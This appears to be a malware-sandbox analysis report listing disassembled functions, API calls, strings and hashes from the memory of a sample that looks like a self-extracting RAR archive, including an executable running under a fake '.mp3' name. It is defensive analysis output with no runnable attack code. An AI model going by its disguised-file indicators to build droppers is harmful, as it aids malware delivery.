API ID: EnvironmentExpandStrings$H_prolog3_wcslen
String ID:
API String ID: 3741103063-0
Opcode ID: 35dc5fbac75ab6275707764f95853dbbd0ba246f11a705138de62bbbc2babe54
Instruction ID: 97ad0c3726e29b9da6964d29e42bef8068f7dbc55d36655b0be67144b5f2f5ba
Opcode Fuzzy Hash: 35dc5fbac75ab6275707764f95853dbbd0ba246f11a705138de62bbbc2babe54
Instruction Fuzzy Hash: A211A0B0A0121AAFDB049FA8AD859FFBBF9FF45310B54019DA421A7280DB349D40CBE4

Function 00B1126C Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B11273

Part of subcall function 00B1067E: GetVersionExW.KERNEL32(?), ref: 00B106AF

FoldStringW.KERNEL32(00000020,?,000000FF,00000000,00000000,0000000C,00B0350C,5EA84180,00000000,?,?,00B043F5,?,?,?,00000000), ref: 00B1129A
FoldStringW.KERNEL32(00000020,?,000000FF,?,?,00000000), ref: 00B112D4
_wcslen.LIBCMT ref: 00B112DF

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: FoldString$H_prolog3Version_wcslen
String ID:
API String ID: 535866816-0
Opcode ID: 0f1f4376106dfbbad67dc9e56647567b4ca7182cab516923261d8162d71510c8
Instruction ID: bef83902238457f5e49e978adc52132e0df6a895ee3f20ea18907144499e031e
Opcode Fuzzy Hash: 0f1f4376106dfbbad67dc9e56647567b4ca7182cab516923261d8162d71510c8
Instruction Fuzzy Hash: B0119171A11129ABDB049BAD9D499AF7BEDEF05720F200649B920E72D4CB70A98087E5

Function 00B319E4 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00000000,00000000,00000000,?,00B3198B,00000000,00000000,00000000,00000000,?,00B31B88,00000006,FlsSetValue), ref: 00B31A16
GetLastError.KERNEL32(?,00B3198B,00000000,00000000,00000000,00000000,?,00B31B88,00000006,FlsSetValue,00B40DD0,FlsSetValue,00000000,00000364,?,00B300D7), ref: 00B31A22
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00B3198B,00000000,00000000,00000000,00000000,?,00B31B88,00000006,FlsSetValue,00B40DD0,FlsSetValue,00000000), ref: 00B31A30

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 250caa6ce7373c426dda9cfd0276514106c77f341d5386d52180e837977ff69f
Instruction ID: d3878803e1105b73467dfb3ad890eee8b210ff71d8089f4446aa799384f78256
Opcode Fuzzy Hash: 250caa6ce7373c426dda9cfd0276514106c77f341d5386d52180e837977ff69f
Instruction Fuzzy Hash: 5E01AC367562269BC7218AAD9C44A577BDCEF457A3F311D64F919E7240DB30D800CBE0

Function 00B11309 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B11310
GetCurrentDirectoryW.KERNEL32(00000000,00000000,0000000C,00B117FB,?,?,\\?\,5EA84158,?,?,?,00000000,00B3A279,000000FF), ref: 00B11319
GetCurrentDirectoryW.KERNEL32(?,?,00000000,?,?,?,00000000,00B3A279,000000FF), ref: 00B11348
_wcslen.LIBCMT ref: 00B11351

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: CurrentDirectory$H_prolog3_wcslen
String ID:
API String ID: 19219720-0
Opcode ID: 241334a645ce9969b29d97469558a9a68e8b688aa1f5ff1946a15183171f6348
Instruction ID: b4abac00ab7b42612af21e4c7d62fb50b1b7d412d99241e05b8c68cdd0533c5a
Opcode Fuzzy Hash: 241334a645ce9969b29d97469558a9a68e8b688aa1f5ff1946a15183171f6348
Instruction Fuzzy Hash: 8D01A272900629BBCB14AFF899458FFBFBDAF81720B100689F615E7285CF34594087E4

Function 00B2631E Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00B262BB,00000064), ref: 00B26341
LeaveCriticalSection.KERNEL32(00B560E0,?,?,00B262BB,00000064,?,?,?,?,00000000,00B3A75D,000000FF), ref: 00B2634B
WaitForSingleObjectEx.KERNEL32(00000064,00000000,?,00B262BB,00000064,?,?,?,?,00000000,00B3A75D,000000FF), ref: 00B2635C
EnterCriticalSection.KERNEL32(00B560E0,?,00B262BB,00000064,?,?,?,?,00000000,00B3A75D,000000FF), ref: 00B26363

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: bb6007622d660c74ba76baf67708e51299a93757ba41c4ac239b43f9bbc1197e
Instruction ID: 104d0c0aeb43f6b479e94e8e86baacd9c546dbd730786f15079ddfc2e4182667
Opcode Fuzzy Hash: bb6007622d660c74ba76baf67708e51299a93757ba41c4ac239b43f9bbc1197e
Instruction Fuzzy Hash: 9AE06D32540274EBC7111B94AC49B9E7F68AB08BA2B5840D0F90AB31A0CB615D149BD8

Function 00B1EB74 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00B1EB77
GetDeviceCaps.GDI32(00000000,00000058), ref: 00B1EB86
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00B1EB94
ReleaseDC.USER32(00000000,00000000), ref: 00B1EBA2

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 12271a5d4603471ce41ddce07d4672b7727fe09c30bd2cff5bfe57e69c2089bf
Instruction ID: 0cc1e21fcd1d28be1a5a3fa1ed935d4c8ac36d68f94ecd37d46ec89ceb26c28e
Opcode Fuzzy Hash: 12271a5d4603471ce41ddce07d4672b7727fe09c30bd2cff5bfe57e69c2089bf
Instruction Fuzzy Hash: 15E0EC31A8AF20ABD6621B70BD1DB873A94AB19B53F0401C1FA06AB1D0CEA044408B94

Function 00B17C68 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 293COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00B18294

Part of subcall function 00B014A7: _wcslen.LIBCMT ref: 00B014B8

Part of subcall function 00B2087E: __EH_prolog3_GS.LIBCMT ref: 00B20885
Part of subcall function 00B2087E: GetLastError.KERNEL32(0000001C,00B18244,?,00000000,00000086,?,5EA84158,?,?,?,?,?,00000000,00B3A75D,000000FF), ref: 00B2089D
Part of subcall function 00B2087E: SetLastError.KERNEL32(00000000,?,?,?,?,?,?,?,00000000,00B3A75D,000000FF), ref: 00B208D6

Strings

%ls, xrefs: 00B17CF7

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: ErrorLast$H_prolog3_Init_thread_footer_wcslen
String ID: %ls
API String ID: 1279724102-3246610740
Opcode ID: 91a22f8caa9d25340d781fde790179e7bbcccba4f3cbb6a935826bda8fd2864a
Instruction ID: 6ad0fa66c22ab07daa731e10814545db6776ec55721d3c284d347873d7a07867
Opcode Fuzzy Hash: 91a22f8caa9d25340d781fde790179e7bbcccba4f3cbb6a935826bda8fd2864a
Instruction Fuzzy Hash: 48B1CA70841209EADB24EF94C986EEE7BF1FF15300FA048D9F456261E1DB71AA94DA80

Function 00B1EF21 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 240COMMON

Download Yara Rule

APIs

Part of subcall function 00B1EBAA: GetDC.USER32(00000000), ref: 00B1EBAE
Part of subcall function 00B1EBAA: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00B1EBB9
Part of subcall function 00B1EBAA: ReleaseDC.USER32(00000000,00000000), ref: 00B1EBC4

GetObjectW.GDI32(?,00000018,?), ref: 00B1EF65

Part of subcall function 00B1F1EC: GetDC.USER32(00000000), ref: 00B1F1F5
Part of subcall function 00B1F1EC: GetObjectW.GDI32(?,00000018,?), ref: 00B1F224
Part of subcall function 00B1F1EC: ReleaseDC.USER32(00000000,?), ref: 00B1F2BC

Strings

(, xrefs: 00B1F0BA

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: 7e5d4c7bad8d175a4bec9659bacf756be7b1d4d66854fdf3adc0beb5f05a9879
Instruction ID: 69c9b1f530fb59b1b799869341da38bfd788e45ad765de037a1934c721f423d1
Opcode Fuzzy Hash: 7e5d4c7bad8d175a4bec9659bacf756be7b1d4d66854fdf3adc0beb5f05a9879
Instruction Fuzzy Hash: 1391F371608315AFC610DF65DC44A6BBBE9FF89710F10495EF98AE7260CB70E905CB62

Function 00B0F103 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

Part of subcall function 00B179F7: GetSystemTime.KERNEL32(?,00000000), ref: 00B17A0F
Part of subcall function 00B179F7: SystemTimeToFileTime.KERNEL32(?,?), ref: 00B17A1D

Part of subcall function 00B179A0: __aulldiv.LIBCMT ref: 00B179A9

__aulldiv.LIBCMT ref: 00B0F162
GetCurrentProcessId.KERNEL32(00000000,?,000186A0,00000000,5EA84158,?,?,00000000,?,00000000,00B39F3D,000000FF), ref: 00B0F169

Part of subcall function 00B01150: _wcslen.LIBCMT ref: 00B0115B

Strings

.rartemp, xrefs: 00B0F1D8

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: Time$System__aulldiv$CurrentFileProcess_wcslen
String ID: .rartemp
API String ID: 3789791499-2558811017
Opcode ID: 509b777f90f2b312b35e36f75f7822c1211d62bea5ffeba1dc384aaab1eadf18
Instruction ID: b6ec183f48d44571f8d02c4f753c4c05591a18d9be7998a816b84a0151d981cb
Opcode Fuzzy Hash: 509b777f90f2b312b35e36f75f7822c1211d62bea5ffeba1dc384aaab1eadf18
Instruction Fuzzy Hash: 0E418271900249AFDB18EFA4CC45EEE7BE9EF54310F5045A9B915A3281EB349B49CB60

Function 00B1DACE Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 118COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B1DAD5

Part of subcall function 00B10360: __EH_prolog3.LIBCMT ref: 00B10367

Strings

Shell.Explorer, xrefs: 00B1DB11
about:blank, xrefs: 00B1DBD3

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: H_prolog3
String ID: Shell.Explorer$about:blank
API String ID: 431132790-874089819
Opcode ID: 2c84b4b802a2b8f37187eec448a62e457c6610712909724b7a5d2a6d87309da0
Instruction ID: 442cdb17273eff8d7ff398439448d7528191bc66327e302ffe48c7e6ef789caa
Opcode Fuzzy Hash: 2c84b4b802a2b8f37187eec448a62e457c6610712909724b7a5d2a6d87309da0
Instruction Fuzzy Hash: EE413E70600211DFDB18DFA4D895BAA77F5EF88700F6584EDE906AF2A1DB70AD80CB50

Function 00B20110 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 00B01E44: GetDlgItem.USER32(00000000,00003021), ref: 00B01E88
Part of subcall function 00B01E44: SetWindowTextW.USER32(00000000,00B3C6C8), ref: 00B01E9E

EndDialog.USER32(?,00000001), ref: 00B2017B
SetDlgItemTextW.USER32(?,00000067,?), ref: 00B201B9

Strings

GETPASSWORD1, xrefs: 00B20148

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1
API String ID: 445417207-3292211884
Opcode ID: b56e8fb190a218bd4bcb797b24c3a61de968da5b29c8ffd6058764e6d05a7fce
Instruction ID: 6239419971c25926859b459c2dc7f1af85b4e30461c460f51b3f3162431186f5
Opcode Fuzzy Hash: b56e8fb190a218bd4bcb797b24c3a61de968da5b29c8ffd6058764e6d05a7fce
Instruction Fuzzy Hash: C11129B265432477D230AA24AC85FFB77ECEB85702F0004A9F749B3091CB74A8518765

Function 00B15109 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00B15094: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00B150B3
Part of subcall function 00B15094: GetProcAddress.KERNEL32(00B551F8,CryptUnprotectMemory), ref: 00B150C3

GetCurrentProcessId.KERNEL32(?,00000200,?,00B15104), ref: 00B15197

Strings

CryptProtectMemory failed, xrefs: 00B1514E
CryptUnprotectMemory failed, xrefs: 00B1518F

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: e9d2980c35c553077efe7cdfcfe8c9e600c9c17f96614cb763c6174aa26d9ec7
Instruction ID: 50d23f10e1c0b177cae2602a69b0c1b823cee173c8a22a4a0be49c7a299dcddc
Opcode Fuzzy Hash: e9d2980c35c553077efe7cdfcfe8c9e600c9c17f96614cb763c6174aa26d9ec7
Instruction Fuzzy Hash: 0311E432601A24FBDB365F609C417AE3BE5EF80B62B5040D5FC117B291DB70AD9187E4

Function 00B24264 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(00010460), ref: 00B24291
DialogBoxParamW.USER32(GETPASSWORD1,00010460,00B20110,?), ref: 00B242BA

Strings

GETPASSWORD1, xrefs: 00B242AF

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: DialogParamVisibleWindow
String ID: GETPASSWORD1
API String ID: 3157717868-3292211884
Opcode ID: cd1f6a067e009e4a0caadd1919dd4e1bf185df9ff19b6f37dcd91de514a4045a
Instruction ID: 9acb9ed77d120e11df90e1ae7359ecf64db03856bcc4083544ab5f704ceedcee
Opcode Fuzzy Hash: cd1f6a067e009e4a0caadd1919dd4e1bf185df9ff19b6f37dcd91de514a4045a
Instruction Fuzzy Hash: 0B0149312A5734FBC7206B65AC16F963BC8EB02313B0441C5F84AA35E1CFA0A844CB60

Function 00B01E44 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00B13EAA: _swprintf.LIBCMT ref: 00B13EEA
Part of subcall function 00B13EAA: _strlen.LIBCMT ref: 00B13F0B
Part of subcall function 00B13EAA: SetDlgItemTextW.USER32(?,00B4919C,?), ref: 00B13F64
Part of subcall function 00B13EAA: GetWindowRect.USER32(?,?), ref: 00B13F9A
Part of subcall function 00B13EAA: GetClientRect.USER32(?,?), ref: 00B13FA6

GetDlgItem.USER32(00000000,00003021), ref: 00B01E88
SetWindowTextW.USER32(00000000,00B3C6C8), ref: 00B01E9E

Strings

0, xrefs: 00B01E47

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: 0
API String ID: 2622349952-4108050209
Opcode ID: 584ed7905a56cb7cf1bfb5a25d7982bcdaeaaa497b412c1e8bfa3ef3f7a52ea9
Instruction ID: c8acbafaa8830078e792dbb37eef9f428035111223f7e04e31c80f07db7ca2c6
Opcode Fuzzy Hash: 584ed7905a56cb7cf1bfb5a25d7982bcdaeaaa497b412c1e8bfa3ef3f7a52ea9
Instruction Fuzzy Hash: 31F08C31544348A6DF190F64ED4ABEF3FD8BB04345F4489D4BC44652E1CBB4CA90EA60

Function 00B175ED Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00B1770A,?,?,00B1777F,?,?,?,?,?,00B17769), ref: 00B175F3
GetLastError.KERNEL32(?,?,00B1777F,?,?,?,?,?,00B17769), ref: 00B175FF

Part of subcall function 00B092EB: __EH_prolog3_GS.LIBCMT ref: 00B092F2

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00B17608

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: ErrorH_prolog3_LastObjectSingleWait
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 2419225763-2248577382
Opcode ID: e561f9d90c17972883fd5b2b5970e9229bdf212e13301a82a5a948e9469ed94e
Instruction ID: 652d9833e43fd1556106926b11c81c2d7d69f2d7b11f0fbbaf33903caed0241a
Opcode Fuzzy Hash: e561f9d90c17972883fd5b2b5970e9229bdf212e13301a82a5a948e9469ed94e
Instruction Fuzzy Hash: 70D05E3254C431B7D62423A86C0ACAE3E959B22330F700794F63A762F6DE20098183A9

Function 00B13E60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000000,?,00000000,00200000,?,?,00000000,0000005C,5EA84158), ref: 00B13E65
FindResourceW.KERNEL32(00000000,RTL,00000005), ref: 00B13E73

Strings

RTL, xrefs: 00B13E6D

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: e2d2fb8f978df2febbfa06ff0522a640792903b58b58f85685e2056abeeb1eac
Instruction ID: 6268894cb1a921ebc90f53272446e3299748889fbac268bdb6fb94b181787dbb
Opcode Fuzzy Hash: e2d2fb8f978df2febbfa06ff0522a640792903b58b58f85685e2056abeeb1eac
Instruction Fuzzy Hash: A5C01231640350A6E73417B16D0DB872DD89B04B15F150498F505AA0E0DAE5D4418BA0

Analysis Process: qwlvpmrupf.mp3PID: 7640, Parent PID: 7552COMMON

Execution Graph

Execution Coverage:	3.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.8%
Total number of Nodes:	2000
Total number of Limit Nodes:	52

Executed Functions

Function 00375D78 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 00375DA7

Part of subcall function 003784B7: _wcslen.LIBCMT ref: 003784CA

GetCurrentProcess.KERNEL32(?,0040DC2C,00000000,?,?), ref: 00375ED3
IsWow64Process.KERNEL32(00000000,?,?), ref: 00375EDA
LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 00375F05
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00375F17
GetNativeSystemInfo.KERNELBASE(?,?,?), ref: 00375F25
FreeLibrary.KERNEL32(00000000,?,?), ref: 00375F2C
GetSystemInfo.KERNEL32(?,?,?), ref: 00375F51

Strings

kernel32.dll, xrefs: 00375F00
GetNativeSystemInfo, xrefs: 00375F11
|O, xrefs: 003B4F80

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
